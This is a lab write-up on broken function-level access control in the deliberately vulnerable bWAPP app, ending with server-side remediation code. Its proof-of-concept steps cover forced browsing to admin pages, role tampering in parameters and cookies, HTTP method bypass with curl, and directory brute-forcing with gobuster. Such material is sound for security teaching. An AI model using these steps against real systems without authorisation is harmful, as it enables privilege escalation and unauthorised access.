🧪 14 — Insecure Direct Object Reference & Missing Function Level Access

Missing Function Level Access Control

OWASP: A01 - Broken Access Control | **CWE**: CWE-284 | **Severity**: 🔴 Critical

---

📖 Description

This vulnerability occurs when applications expose admin or privileged functionality without proper server-side access control. A low-privileged user can access admin functions by directly browsing to URLs or by manipulating parameters.

🔍 Affected Endpoints

```
http://localhost/bWAPP/function_level_access_control.php
http://localhost/bWAPP/portal.php
http://localhost/bWAPP/admin/
```

⚠️ Security Level: LOW

PoC — Forced Browsing to Admin Pages

```
# Access admin panel without being admin
http://localhost/bWAPP/admin/
http://localhost/bWAPP/admin/settings.php
http://localhost/bWAPP/admin/users.php
http://localhost/bWAPP/admin/logs.php
```

```
# Access privileged API endpoints
http://localhost/bWAPP/admin_panel.php
http://localhost/bWAPP/delete_user.php?id=1
```

PoC — Parameter Manipulation

```
# Normal user request
POST /bWAPP/update_profile.php
role=user&action=update

# Modified to elevate privileges
role=admin&action=update

# Hidden parameter injection
# Inspect page source for hidden fields
<input type="hidden" name="admin" value="0">
# Change value to 1 via Burp Suite
```

PoC — HTTP Method Bypass

```
# If page restricts POST but not GET
curl -X GET http://localhost/bWAPP/admin/delete_user.php?id
=5

# If page restricts GET but not HEAD
curl -X HEAD http://localhost/bWAPP/restricted.php

# TRACE method (sometimes bypasses restrictions)
curl -X TRACE http://localhost/bWAPP/admin/
```

PoC — Role Parameter in Cookie

```
# Intercept login request in Burp
# Observe cookie: role=user
# Change to: role=admin
# Re-submit -> admin access granted
```

⚠️ Security Level: MEDIUM

Defense Applied

Hides admin links in UI, but doesn't enforce server-side.

Bypass

```
# Links hidden from UI but endpoints still accessible
# Simply browse directly to:
http://localhost/bWAPP/admin/settings.php

# Use directory brute force
gobuster dir -u http://localhost/bWAPP/ -w /usr/share/wordl
ists/dirb/common.txt
dirb http://localhost/bWAPP/
```

⚠️ Security Level: HIGH

Defense Applied

Server-side session validation on every request to privileged endpoints.

```
// Every admin page checks:
if ($_SESSION['role'] !== 'admin') {
    header('Location: /403.php');
    exit;
}
```

✅ Remediation

1. **Deny by Default**: All access should be denied unless explicitly permitted
2. **Server-side checks**: ALWAYS verify roles/permissions server-side
3. **Access Control Matrix**: Define what each role can access
4. **Log access violations**: Alert on repeated unauthorized access attempts

```
// Check role on every privileged page
function require_admin() {
    if (!isset($_SESSION['user_id']) || $_SESSION['role'] !
== 'admin') {
        http_response_code(403);
        exit('Access Denied');
    }
}
require_admin(); // Call at top of every admin page
```

📚 References

- CWE-284: https://cwe.mitre.org/data/definitions/284.html
- OWASP Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/